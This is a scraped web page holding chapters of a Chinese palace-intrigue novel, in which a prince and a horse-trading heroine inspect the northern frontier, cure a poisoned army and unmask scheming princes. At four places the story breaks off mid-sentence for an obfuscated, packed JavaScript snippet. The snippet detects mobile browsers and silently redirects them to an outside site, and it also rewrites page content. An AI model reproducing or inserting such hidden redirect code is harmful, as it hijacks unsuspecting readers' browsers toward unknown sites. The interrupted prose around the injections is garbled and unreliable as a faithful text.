晏邃安默了默，声音悠远：“我想请端妃帮忙调查我母妃之死。” “为何您不直接和她说明？” “这件事情牵扯到陛下和太后，端妃不会轻易插手，只能麻烦你在赢得她的信任后，从她那里查找十三年前禁卫换防的安排记录。” “我明白了。殿下，有关二皇子的计划，是否应该再推进快些，我一刻都不想再等。”杨洛云双手紧握成拳，气息急促。来到玉京城将近一个月，她的复仇进度却非常缓慢。 “陛下今日早朝特意让我进宫，为的是宣布赶赴北境的人选。”晏邃安将早朝之事细细告知杨洛云。 “陛下没有选择太子或者二皇子，而是让殿下去？还要带上我？”杨洛云的眉头紧紧打结，语气有她自己都没察觉的冰冷。 “我知道你复仇心切，可不论如何，这件事急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276331|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不来，老二毕竟是皇子，冲动行事只会自损八百。”晏邃安的声音虽然很轻，但好似带着安抚的力量，杨洛云冷静下来。 见杨洛云不语，晏邃安接着补充：“对一个人最好的复仇，除亲手杀了他，让他最想达成的目的落空，同样也很解恨……” “何时动身？”杨洛云打断晏邃安的话，显然是认同他的观点。 “按照陛下的意思，明日就启程。” 看着晏邃安的模样，杨洛云还是没有忍住，试探地开口询问：“你，还好吗？” 北境和玉京城相距甚远，杨洛云担心就晏邃安现在的样子，别说北境，就是去神威营都困难。 “我没事，休息一晚就行。” “既如此，那你好好休息。”见他没有多说的意思，杨洛云不好再问，转身离开。 回到自己的屋子，杨洛云拆来阿雅尔寄来的信，信上说他们五日前就已经离开玉京，回西域处理完“麻烦”，有机会还会再来，让杨洛云准备好接风酒。 龙飞凤舞的汉文让杨洛云弯起唇角。 她又展开阿吉从黑水寨寄来的信，读到一半，笑容染上了眉梢眼角。 烛光洒在信上，将纸张的内容照得清清楚楚： 禀报云主，婧娘母女和我一切安好，陈修已醒，只是尚不能起身。苗素已经知晓天堑关汉人官差殴打陈修的具体详情，据多日观察，她已着手对天堑关展开追责，目前正在一步步履行承诺。阿木叔来信说你们在玉京租上了房子，我也想飞过来与大家一起，奈何玉儿不知为何越发不讲道理，整日黏着我，跟个小跟班似的…… 收好信件，杨洛云拿上采购来的大批药材，离开安王府。她想趁今夜与白露再做些防身应急的药，顺便打点其余马帮兄弟。 听说杨洛云只打算带白露前往北境，马帮几人都忧心忡忡。 “这次去视察是皇帝的旨意，途中必定有人随时盯梢，人多反而麻烦。我希望你们在玉京城继续打探消息，同时和云岭的兄弟们保持联系，尤其是姑姑的下落还要继续查，我相信，只要没有发现尸首就说明姑姑还活着。”杨洛云语气郑重。 杨洛云安排马帮众人的同一时刻，展锋正一脸担心地来到晏邃安跟前。 “殿下，您又服了那药？虽说短时内能够遮掩一二，但几为伤身，明日就要启程，属下担心您的身体……” 晏邃安不等展锋说完，出声打断：“本王还没有无用到那种地步，前往北境一路必定不容易，好好准备。” “杨洛云也要一同前往，殿下是否需要属下继续盯着？”展锋了解晏邃安，虽说有合作之约，但难保不会因为一时意气酿成后患，需要更加谨慎提防。 “本王亲自盯着她，另外，玉京苏丞相那边也让我们的人适时透个底，太子此番接受的任务明显是陛下有意锻炼他，需得抓住机会才是。至于老二，江南水患牵扯的利益链众多，他去清理正好也省去我们动手。” 展锋正准备退下安排，晏邃安又叫住他：“北境的形势不简单，先派几个人前去探探。” 鹅毛大雪纷纷扬扬，覆盖在昭华国北境的战场之上。 天地皆白，鲜红血液洒落，仿若点点红梅在白色宣纸上盛放，凄美绝艳，亦惊心动魄。 18. 北境军瘟 将战场上牺牲战士的尸身逐一安葬，北境雁门关军帐内传出悠悠的叹息。 卫征鸿看着手下的沙盘，剑眉紧锁。 北境藩王共有十二位，卫征鸿是卫王世子，自他记事以来，刀剑从未离过身。 藩王是随昭华国开国皇帝一起打天下的兄弟，经过几代相传，如今的藩王异心渐起，时常勾结北境周边异族小国频繁发起战事。 卫王是唯一对晏氏江山忠心不渝的藩王，开国皇帝对卫家恩重如山，历代卫家孩子人生修习的第一课便是忠君爱国，卫征鸿也不例外。 “禀世子，探子收到消息，匈烈人已经鸣金收兵，退回雁门关外了。”兵卒一边递上一封密报，一边禀报敌人的动向。 卫征鸿点头，眉头上的结始终没有解开：“不知这回，又是哪一位藩王的计谋，让人通知父王，加强府内的戒备，秘密探查最近几日各王府的动向。” 兵卒领命离开。 卫征鸿默默看向玉京城方向，手中的密报被他握紧：“但愿此番前来视察之人，还能尚存些许良心。” 百里外的马车内，晏邃安听着提前派往北境的属下回禀，心中的担忧更甚。 杨洛云骑着逐风，隔着车帘听完，低低呢喃：“如此情形，百姓很难不受波及，若是天气回暖，出现疫病，那便更不妙。” 他们已经从玉京出发两月有余，一路景色从金桂飘香、大雁南飞，到白雪皑皑、北风萧瑟，转眼接近年关。 两月赶路途中，除去遇见几波盗匪，一些流民和几次暗杀，一切还算平顺。 “北境藩王说是在竭力抵御匈烈人，实际上能够舍身拼杀的能有几个？不过是打着护卫边境的名义行勾结外族祸事罢了。”岳横波骑着马落后杨洛云几步，语气里透着无奈。 杨洛云听后，点头赞同。此次视察，皇帝的用意无非三样：第一，看看北境的百姓情况如何；第二，监视几位藩王是否有谋反之心；第三，看看晏邃安从百越战场归来这些年，是真的受挫不理政事，还是故意装作闲散富贵王爷。 再扭头看着英姿飒爽的岳横波，杨洛云在心中补充：恐怕还为试探镇北侯府与晏邃安之间的关系。 白露策马上前，拉拉杨洛云的衣袖：“阿云，若到时当真出现疫病，我担心……” “无妨，我见过姑姑的一本手札有记载，我们可以试试。”杨洛云拍拍白露紧紧攥着缰绳的手，她明白，白露不擅长疫病救治，且对疫病本身就有抵触——当年白露家族就是因疫病救灾不当，被云诏国皇室下令处死的。 赶车的展锋闻言，不露声色地瞄一眼白露。他一开始担心杨洛云带来这个自称医师的姑娘是不怀好意，直到白露听闻晏邃安的某些症状，配制出安神香有效缓解后，他对白露才慢慢放下戒备。 进入北境地界这日，正好是除夕。看着不同于滇南四季如春的景色，杨洛云有些怔忡：不知不觉，父母过世快一年了，自己也离开滇南许久，一切好似做梦，可她多么希望这只是一个梦，梦醒了，自己还在云岭，阿爹阿娘和姑姑还在身边…… “想什么呢，过来计划接下来的行动。”晏邃安从马车里探出头来。 杨洛云回过神，她给逐风喂了两根又大又红的胡萝卜，才慢悠悠上马车。 晏邃安看着逐风幸福地咀嚼着，眉眼温柔不少。 从玉京城出发那日，杨洛云觉得晏邃安整个人都蔫蔫的，她时常担心自己这个盟友会不会还没有履行完合作，就这么随风而逝了。 一路走来，她有注意到晏邃安的习惯：除去黄昏傍晚他会下马车与他们骑马，只要白天光线充足，他便极少离开马车，就算出来吃饭休息，也一直戴着那个黑纱斗笠。 “他真像一只怕光的鼠妇。”杨洛云在心里暗忖，忍不住笑出声来。 晏邃安撇她一眼，又将刚刚说的话重复一遍：“明日我们先乔装进雁门关看看真实情况，岳将军留下来坐镇。” “乔装成何种身份？”杨洛云正色问。 “你、我、展锋、白露四人，你说什么身份合适？”晏邃安轻笑反问。 “商队？可人过于少；土匪？可这样有被关押的风险；还有什么可以扮……”杨洛云沉默思索。 晏邃安被她能想到的身份一噎，展锋适时开口：“其实扮作一家人才是最容易让他们放松警惕的选择。” “既然如此，那就白露和展锋上，我来作白露的丫鬟，至于殿下嘛，就看你喽。”杨洛云抢在晏邃安之前开口。 白露瞅一眼展锋，别过头去。 禁不住白露加入劝说的行列，最终还是杨洛云和晏邃安扮作夫妻，展锋扮作马夫，白露扮作丫鬟，四人进了雁门关。 敲开一家农户的门，晏邃安率先出声：“婆婆，我与夫人途径此地，见不远处战事不断，不知可否向您打听打听。” 没有得到想象中的回应，那老妇人嘭地一声关上房门。 一连几家皆是如此，开门的不论男女老少，一声不吭直接谢客。百姓这样的反应让四人均有些摸不着头脑，直到他们抵达距离战场最近的村落，瞧见里面的情形，才能理解他们为何会对来人抱有防备和敌意。 入目皆是废墟，成年男子的尸骸一具叠一具，分不清是进攻的异族还是固守北境的战士。滚滚黑烟直冲天际，破败的战旗被风吹得晃荡，不知是谁的亡灵在随风哭泣。 杨洛云见过云骧府那夜的惨状，可眼前的废墟比起那夜，有过之而无不及。这些躺在尸山血海里的冰冷身躯，曾是一个又一个鲜活的生命，他们或许是一路过来那些闭门谢客百姓的儿子、丈夫、父亲，或许曾是心怀报效家国之念、意气风发的少年…… 四人分头行动，白露和杨洛云开始寻找救助尚存一丝生机的将士，晏邃安径直向藩王军帐走去，展锋回头与等在雁门关外的岳横波众人汇合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276332|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 杨洛云搬开一具尸体，目光被不远处的“卫”字军旗吸引——旗子矗立之处，一双修长有力的双手紧紧扶着旗杆，那人胸口微弱起伏着，气息尚存。 杨洛云艰难地走到军旗旁，就见一位将军模样的男子半躺在那里，双目紧闭，唇色苍白。 将他从周围的尸身中捞出来，放平在地上，杨洛云开始为他检查、诊脉。 “白露，这似乎是瘟疫的症状。”杨洛云冲着远处给一位幸存士兵包扎的白露喊。 白露检查毕，确定了杨洛云的结论，脸色十分不好看：“他这情况，我没有具体的医治方法。” 将人先移至平地，杨洛云又陆续救助几位幸存者，展锋等人就已经寻过来。 众人合力帮忙，救助工作快速有序，很快便把废墟清理完成。 把伤员一一分类，与那将军一样症状的士兵不少。 岳横波眸底一片冰凉，这样的情况，显然是军瘟。要么是伙食被人动了手脚，要么是水源被人下了药。 “如今的天气不至于产生瘟疫，没有自然形成的条件，就只剩人为灾祸。”杨洛云的声音里透着凌厉，她的想法与岳横波一样。 思索着在段清昙那里见过的医方，杨洛云指挥着众人分批安置伤员。 晏邃安传来消息，他于藩王军帐处布置好医疗之地，如今敌人攻势减弱，战争俨然告一段落。 把那将军送至藩王军帐，杨洛云才知他是卫王世子卫征鸿，岳横波闻言也微微怔愣——卫征鸿的威名与晏邃安当年一般，他是北境的少年将军，天生便是为战场而生。 同样是一军主将，岳横波对卫征鸿多了几分共情。她仔细端详过卫征鸿的伤势，那是不留余地的打法，作为主帅，他是真刀真枪在冲锋陷阵，这样的将才，岳横波不希望他就这么死于被小人暗地的陷害。 “白露医士，这样的军瘟你能否医治？”岳横波上前一步，眼中满是期待。 白露摇摇头，语气里是无奈：“我没有办法，让你们中原或者北境的医士看看，云川或许也有办法。” 一连几位医士诊治完都叹息着离开。 杨洛云将记忆里的医方写下来，又融合白露先前与她说明的医理，增了几位药材熬成药汁，然后将滇南的白药掺着水一起喂卫征鸿服下。 “我不是很有把握，但总归要试一试。”杨洛云看向一连绝望的卫王，语气坚定地道。 岳横波点头：“我相信云川，就算最终还是不行，至少我们努力过。” “他现在这样子，能不能熬过来就看今夜。” 卫王给众人安排好住处，杨洛云将相同的药剂分给染上军瘟的其他伤员，自己则继续守在卫征鸿榻前。姑姑的医方是自己看到的，如果有什么突发状况，也得由自己来处理。 晏邃安看着专注盯着卫征鸿情况的杨洛云，默默离开军帐，和卫王一同来到议事处。 19. 云药弈局 “不知卫王对军瘟一事有何看法？”晏邃安看向垂眸不语的卫坤。 “此事必是军中奸细所为。”卫坤黑沉着脸。 晏邃安提前来到藩王军帐探查消息，对几位藩王勾结异族、意图谋夺江山，心知肚明。 “我儿若是有个三长两短，他们就别想看见来年春日的太阳。”卫坤攥紧双拳，一字一字地蹦出此言。 “若是想不打草惊蛇，卫王现在需要做的便是沉住气。世子那边有巡马御史在，您不妨与本王一起想想，如何设法找出内鬼。”晏邃安不紧不慢地道。 二人的声音隐匿在雁门关的呼啸风声中。 军帐内，杨洛云端来一盆热水，正准备掀开卫征鸿的被子，便猝不及防闯入一双略带迷茫的眼眸。 伸到半空的手一顿，杨洛云自然地收回。 “将军醒了，可有哪里感到不适？” 卫征鸿打量四周，发现自己躺在军帐内，一时没有回过神：记忆停留在自己斩杀完最后一波进攻的敌军那一刻。当时浑身一阵无力，脑海里涌现出的只有冲锋前喝下的那一碗酒。 “为将者，战场上无论遇到何种情况，都要坚持到最后一刻。”父亲的话仿佛在耳畔回荡，他撑着最后一口气，将“卫”字战旗稳稳扶住。 一口口鲜血控制不住地从唇角溢出，他已经没有抬手擦拭的力气，周围的将士多半也和自己的情形一样。 军中有内应！他想着想着，视线愈来愈模糊。 接下来的画面十分零碎，迷迷糊糊间好像看到有一位姑娘向自己走过来…… 眼底逐渐清明，卫征鸿看向杨洛云，犹豫片刻开口问道：“是姑娘救了我？不知姑娘尊姓大名？” “我叫杨云川，是陛下派遣、随同安王一起前来北境视察民情的巡马御史。”杨洛云将自己如何发现卫征鸿以及军瘟一事详细说明。 “原来是云川姑娘，多谢姑娘救命之恩！”卫征鸿挣扎着想要起身。 杨洛云一把按住他：“不要乱动！方才才将你身上的外伤处理完。” 卫征鸿想到什么，急急开口：“其他将士们的情况如何？” “我已经给他们服过药，目前看，只需熬过今夜便可安然无事。我本以为你不会这么快就醒来，好在你身体硬朗。” “军瘟据说传染性极强，姑娘就不怕染上此病吗？”卫征鸿盯着杨洛云，眼中满是探究。 “我来自滇南云岭，对这样的病症救治之法恰巧有所涉猎。滇南的白药加上其他秘方，救治难度大大降低，更何况，我既已决定救你，自是对传染做好了足够的预防之术。”杨洛云没有告诉卫征鸿，自己其实也只是大胆一试，恰巧将他救活了。 和晏邃安一起来北境，未来不知还会面临什么样的麻烦，在卫王世子面前留下一个稳重可靠的印象，更有利于日后行事。 杨洛云常年在云岭古道行走，身体素质过硬是基础，又有在往来贸易的必经之路上遇见过类似病症。当年沿路医师救治时，她在一旁目睹全程，再和段清昙记录的笔记结合，救助效果可见一斑。 给卫征鸿喂完第二次药，杨洛云催促他躺下休息。 “云川姑娘不必在此守着，自去休息就是。”卫征鸿有些不自在，他不习惯睡觉时有人在帐内。 “今夜病情兴许还会有所反复，既然我是你的医者，就有时刻看顾你的责任。”杨洛云郑重其事地回答，随后搬了小榻铺好一躺。 看着她如此爽快流畅的动作，卫征鸿不好再说什么，脑子昏昏沉沉，不一会儿就又陷入梦乡。 后半夜，卫征鸿果然如杨洛云所料发起高热。 看着他在梦呓里也不忘对将士的担忧，杨洛云叹了口气，卫征鸿是个合格的好将军，北境能有这样的人才委实不容易。 她起身打湿毛巾，一遍又一遍给卫征鸿物理降温，又翻了翻可以退热的药丸，终于在天际破晓之时给他退了热。 杨洛云长舒口气，转身离开军帐。 军帐外，卫家军已经开始晨练。杨洛云从他们身后走过，意外地看见了岳横波。 “看看人家卫家军，再看看你们，太阳都要晒屁股了还在睡！”岳横波双手叉腰，冲着慢悠悠走出军帐的玉京侍卫喊。 “岳将军，我们随行视察百姓生活的，没必要和他们保持一致吧。”侍卫统领试探着问。 “虽然你们不是我手下的兵，但既然此次出行归我管，我就有训练你们的资格！瞧瞧人家镇守北境的将士是什么样？我不想听到有人说从玉京来的侍卫是孬种。” 侍卫统领识趣地闭嘴，转头开始整肃队伍。 “岳将军果然是严于律兵。”杨洛云笑眯眯走近，拍拍岳横波的肩。 “卫将军怎么样了？”岳横波满眼关切。 “放心，已经无碍。” 岳横波长舒口气，缓缓解释：“我就是觉得，对比卫家军，从玉京来的这些侍卫实在太懒怠。我可不像他北境的士兵在背后说玉京城的训练不过如此，看低了我的神威营将士。” “好好好，岳将军果然争强好胜，你放心吧，他们就算有一百个胆子，也不敢在背后嚼你的舌根。” 杨洛云一边说，一边向安置其余患病士兵的军帐走去。 白露见杨洛云过来，凑近细说了昨夜的情况。待确定众将士病情稳定下来，杨洛云这才完全放下心。 看着一夜未眠的杨洛云，又看看一脸倦色的白露，将士们齐齐出声感谢：“多谢二位姑娘的救命之恩！” “这里就交给老夫罢，二位姑娘快去休息。”老军医背着药箱进来，躬身将二人送出。 “阿云，这次军瘟，多亏你在，若是……若是当年……”白露说不下去了，眉眼间是回忆染上的忧色。 杨洛云握住她的手，语气透着不容置疑的坚定：“当年之事不是你白家的错，云岭之前从未出现过那么大范围的疫病，云诏皇室给的期限又那么短，换作任何一个神医都不可能研制出解药。更何况，你当年也只是个孩子。” 每次提及云诏国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276333|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇室，白露都会不受控制地流露出满腔恨意，这次也不例外。感受到她整个人都在微微发抖，杨洛云连忙转移话题：“现在我们已经知晓有效的救治方法，以后便可以救治更多的人！” 杨洛云眼中的光芒好似可以与最美的月色星空媲美，白露重新收拾情绪，语气郑重：“我会把这套救治之法记在心里，去拯救千千万万生命，以此告慰我九泉之下的族人。” 另一边，议事大帐内，晏邃安端坐高位，几位藩王依次坐在下首。 展锋走到晏邃安身边轻声私语，晏邃安点头，展锋又走向卫坤。 得知儿子已经挺过危险关头，卫坤心中大石落地，神色却不显。 他的眼睛逐一扫过几位藩王，痛彻心扉地宣布：“征鸿性命危矣，我卫坤在此起誓，与烈匈人不死不休！” 说完，转向晏邃安深深一揖：“安王殿下，劳烦您替本王向陛下请旨，我儿被烈匈小人所害，现如今他上不了战场，那本王便亲自出征。” 晏邃安出声劝阻：“卫王不必如此，我昭华国除卫世子，还有许多猛将，再不济，本王也可以重新披甲出征，何须劳烦您？” 晏邃安顿了顿，似不经意般开口：“对了，既然卫王世子如此威猛，想必其他几位世子也不会逊色，不如本王向陛下请旨，由其余几位世子带兵出征？” 一语激起千层浪，几位藩王的脸色登时变了。谁不知道，北境藩王世子，只有卫征鸿有领兵之能，其余从小娇生惯养，手不能提肩不能扛，何论带兵打仗。 “安王殿下，这恐怕……”有人出声欲要劝阻。 “本王觉得这个主意甚好，就从梁王世子开始吧。展锋，准备笔墨。”晏邃安直接打断，丝毫不留余地。 “安王殿下，这烈匈族已经退兵，我们何须紧追不放，主动出击呢？”梁王颤着声开口。 自己的儿子有几斤几两他再清楚不过，加之此次与烈匈人勾结的主谋就是梁王，如若背弃约定，烈匈人又怎么可能放过他？他已经不比年轻时威猛，武功更是荒废多年，若是把人惹毛了，根本毫无反抗的余地。 “梁王这话可不对，他烈匈人能主动侵犯我昭华国的边境，怎么就不允许我们主动进攻了？昭华国可不是砧板上只能任人宰割的鱼肉。”晏邃安语气转冷，身上不自觉地散发出射人威压。 梁王满头冷汗，此刻的他只想要卫征鸿赶快好起来。他下意识瞅身旁的陈王，要不是他的主意，卫征鸿怎么会倒下，自己儿子又怎么会面临披甲挂帅的局面。 卫坤没有放过梁王的眼神，心下对奸细有了底。 “安王殿下，本王觉得陈王世子也是肖勇不凡之辈，不如换陈王世子出征？” 卫坤冷冷道。 “嗯，这个提议不错。”眼见梁王松口气，晏邃安冷不防补充：“那就让梁王世子与陈王世子一同领兵吧。”话毕，提笔沾墨。 议事毕，梁王和陈王急匆匆离开。 看着他们着急忙慌的背影，晏邃安眼底闪过寒芒。 20. 藩王归属 回到自己的军帐，梁王遣散侍从，不安地在案前来回踱步。 “我早就说过，不要贸然行事！这下可好，卫征鸿真的倒下了，去阵前搏命的成了我们自己的孩儿。”梁王语气里的埋怨压都压不住，全然没有了往日的冷静。 梁王只有一妻一妾，梁王世子是他的独苗，自是从小捧在手里怕摔、含在口里怕化。事关儿子生死，即使一向为陈王马首是瞻，梁王也不再有所顾虑，脸上的焦躁和烦闷遮都遮不住。 “你如今说这些又有什么用，本就是那位受益在先，更何况你不是也默许吗？”陈王慢悠悠开口。 “你膝下孩儿众多，自是有恃无恐，我只有梁昌一个孩子，若真的出了什么事，我定不会让你好过。” 哐啷一声，茶盏被狠狠置在桌上。陈王斜眼盯着梁王，语气里透着威胁：“不让我好过？你能怎样，是去和那位告状说我没有毒害成功卫征鸿，还是说你遇到些许小挫折就打退堂鼓、反咬同盟？” 提到“那位”，梁王瞬间泄了气，瘫在椅子上，半天回不过神。 “那……现在该如何做？” “既是因卫征鸿上不了战场才引出这些麻烦事，不如就让他一人好起来，先把眼下这关过去。至于那位的命令，等视察民情那些家伙走后再动手不迟。” 当晚，晏邃安果真在负责卫征鸿伙食的军帐附近抓到了鬼鬼祟祟的两个小兵。 卫坤和晏邃安审问了一整晚，两个小兵终是熬不住酷刑，将陈王梁王投毒之事详细交待。 “幕后之人是谁？”卫坤沉声询问。 “不知，我知道的就这么多了。” 晏邃安抬手止住还欲继续拷打的卫坤：“这等绝密消息，不可能是两个办事小兵能得知的。不过，就算不说，也势必和朝堂争斗脱不了干系。” 表情微缓，晏邃安让人带走出气多进气少的两人，转向卫坤：“不知卫王对于梁王和陈王有何打算？” “北境本就是我昭华重要的边境防线，这些年有多少藩王明里暗里勾结外地贪图小利本王不是不知道，只是一直觉得大家都在晏氏底下讨活，加上北境的百姓也没有什么太大损失……可这回，他们向征鸿下手，又葬送了那么多将士的性命。如若继续放任不理，朝廷里的幕后之人暂且不论，单是作为一个将军，本王就不会置之不理。” 卫坤挺直腰板，眼睛里透着坚定：“既然他们先不仁，那就不要怪本王不义。本王替晏氏去除这些祸害！” 几日后，北境几位藩王全部归属卫王的消息震惊了朝野上下。 “你有什么话不妨直说，别一副欲言又止的模样。”晏邃安倒满一杯茶放在杨洛云面前。 杨洛云自然地接过，鼻端轻嗅，一饮而尽。随后她皱皱眉，觉得还是云岭的普洱茶最好喝。 “我只是好奇，卫王是怎么做到的。如果他有一统北境的能力，为何先前不这么做？” 晏邃安早料到杨洛云要问的是此事，他眉梢微扬：“先帝在世时曾给卫王留下过遗诏，卫家一族世代忠心，先帝放心将北境的大权交付卫坤。这些年卫坤不是没有动过拿出诏书的念头，只不过念及几个藩王父辈同是功臣。这次他们将算盘打在卫征鸿头上，卫坤不就着急了？” 看着他的表情，杨洛云还是觉得古怪：“你是不是事先早就知晓？” 晏邃安没有直接，他端起茶盏浅啜一口：“这茶味道不好吗？你为何皱眉？” “是好茶，不过喝惯了我云岭的普洱，这样的茶很难排上号。”杨洛云随口应答着，脑海里又闪过曾经带云岭十八骑运送普洱茶的一幕幕，最后停在给天堑关汉兵的含有致幻菌的普洱茶膏。 就在她暗自心疼茶膏，觉得当时给汉兵的分量太多，有些亏本时，晏邃安才回答她的问题：“我的确事先知晓卫坤有先皇的遗诏，当时问他打算，也是想有意无意给他提醒。” 杨洛云回过神，还欲询问，晏邃安又继续补充：“那封诏书，是我亲眼看着父皇写的。” 杨洛云不再开口。皇家往事，知晓越多越危险。她转移话题：“目前看，北境藩王的混乱已经平息，烈匈族也撤回自己的地盘。我们是不是也快打道回府了？” “我知晓你报仇心切，但你是否想过，北境一事老二有没有参与其中的可能？”晏邃安意味深长地看着杨洛云。 “你的意思是，这次军瘟和晏晦明脱不了干系？” “不止如此，我觉得这些年老二他一直是促成北境状况的幕后之人。”晏邃安想起审讯时两个小兵的话，有所猜测。 皇家和朝廷的弯弯绕绕最惹杨洛云讨厌，她深呼吸，强迫自己静下心去跟着思路分析。 “只是……老二后面是否还有其他人，这一点我很好奇。” “不管谁后面有谁，只要是和阿爹阿娘的死有关，我就一定要一层一层拨开迷雾，一个一个亲手报仇。”杨洛云咬牙切齿。 看着面前人喜怒形于色的生动模样，晏邃安突然有些羡慕。这么多年，自己一直戴着一层又一层面具，哪怕对着仇人也要露出笑容，他突然觉得有些疲惫。 “晏晦明如果做过，就一定会留下把柄。接下来你有什么打算？”晏邃安平复心绪，依旧淡然。 “你怎么总在问别人打算，自己不说明？”杨洛云还是不喜欢晏邃安弯弯绕绕的说话方式，直来直往办事效率高，还不会产生矛盾。 “不先听听你的看法，怎么判断你这个盟友的能力？”晏邃安好似玩笑般回答，又赶在杨洛云炸毛前出声：“老二毕竟只是我的猜测，我从卫坤和其他几位曾经的藩王那里探探，你……” “我去找卫征鸿和小兵们探探，若没有消息，我们就抓紧时间启程回去。”杨洛云抢在晏邃安安排前说完，不等晏邃安反应，她转身就走。 看着少女离开的背影，晏邃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276334|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安有些好笑：她的想法和自己一样，她明白接下来该怎么做，只是不喜欢被人安排的感觉。 杨洛云走到北境军营的演武场，看到的就是这样一幕：岳横波在左侧操练随行的侍卫，卫征鸿在右侧训练全部重新整编过的士兵。两个人仿佛在较劲，对方做什么自己就做什么，要求一定要比对方高，练习次数一定要比对方多。 两人嘴上较劲，苦的却是底下的人： 侍卫长：“岳将军，放过我们吧，他们毕竟是北境的士兵，上阵杀敌练的实打实的能力。” 侍卫甲：“对对对！您的神威营将士如果在这里定比他们强上千百倍，我们只是玉京的侍卫，身体素质肯定比不过他们的。” 侍卫乙：“岳将军，还要继续吗？我觉得自己快不行了，这一天练的刀法都比一年的多。” 侍卫丙、丁、戊…… 士兵一：“卫将军，我们本是梁王手下的兵，以前的训练量没有您麾下的多，可是这训练是不是也应该因人而异、循序渐进？” 士兵二：“卫将军，您之前给我们训练都没有这么过头的，我们才被军瘟折磨完，体力尚未恢复，您能不能先降低点难度？” 士兵三：“卫将军，他们那边不行了，我们是不是可以停下来歇歇？” 士兵四、五、六…… 岳横波和卫征鸿对此不为所动。 岳横波抬了抬一个侍卫偷摸着放下来的胳膊，厉声道：“知道的说你们来自玉京城，玉京治安良好，故而你们不比北境将士；不知道的还以为你们是手无缚鸡之力的文弱书生，这才哪到哪就坚持不住了？回去我定向陛下上奏，把你们调来我神威营训练几日，免得端妃娘娘把你们惯坏了！” 卫征鸿闻言，同样走到最先出声的士兵面前，沉声训道：“既然现在是我麾下的兵，就该服从我的训练方法。梁王的兵本就没有上过战场几次，你再不好好练，上了战场只会成为他人的刀下亡魂。” 又冲着自己原先的士兵道：“一个小小军瘟就把你们弄得娇气了？再不练，怕不是真要成岳将军口中的文弱书生了！” 两人越说越觉得不过瘾，一脱外氅，径直站到最前面开始示范。看着自己家将军亲自下场一起训练，两边士兵哪还敢开口劝说，集中注意力跟着一起练习起来。 杨洛云没有上前打扰的意思，战场下的每一次训练都是为了在战场上保住自己的性命。玉京的侍卫哪怕不上战场，也应该好好练习，自己的本领强了，完成任务的失误率减低，这样才不会被主子轻易责罚以至祸连家人。就像她给云岭十八骑的人和马训练耐力一样，每一次付出都是为了更好的前行。 她径直来到马厩看望逐风，明明只是两日不见，逐风却粘人得紧，一个劲儿蹭着杨洛云的掌心。 给逐风喂完一根胡萝卜，杨洛云的手刚摸向第二根，就听一声尖叫伴着凄厉的马嘶鸣声从不远处传来…… 21. 决意归京 一匹灰马越过马场的栅栏，朝着北境城门的方向疾驰而去。 小兵摔在地上，手臂留下一条又长又深的口子。 “卫将军，这马不对劲！”小兵来不及包扎伤口，连滚带爬冲过来。 卫征鸿和岳横波附近没有马匹，眼看那灰马已经消失在视线范围内，卫征鸿飞快朝马场赶去——北境城门方向生活着不少百姓，那马明显处于癫狂状态，难保不会伤害百姓。 视线范围内，一个少女驾着马紧追而去。 岳横波惊喜出声：“是杨洛云和逐风！”她见识过杨洛云的驯马能力，晏邃安的逐风都能被她治得服服帖帖，那灰马根本不在话下。 卫征鸿只知杨洛云是陛下亲封的巡马御史，心中担忧，脚步加快不少。 等到他好不容易追上杨洛云的身影，看到的就是灰马乖乖跟着逐风回来的一幕。 少女骑着逐风，把灰马的缰绳递给他，自信地抬抬下巴：“卫将军，交给你了！” 卫征鸿怔住，心中忽地砰砰跳起来。 他稳定心神，向杨洛云抱拳：“多谢杨姑娘！” “若是连受惊发狂的马都不能制住，我岂不是枉负这名号了。” 杨洛云目光下移，看见灰马蹄上不起眼的针，朝卫征鸿示意。 卫征鸿脸色沉了沉，不再啃声。 “卫将军，我能否向你打听个消息？”杨洛云直截了当，她把对晏晦明的怀疑挑挑拣拣部分和卫征鸿说明，接着补充：“包括今日之事，如若我没有恰好在逐风旁边，卫将军也没有及时制住这马，会发生什么？当时这马离百姓所在的位置已经不远了。” 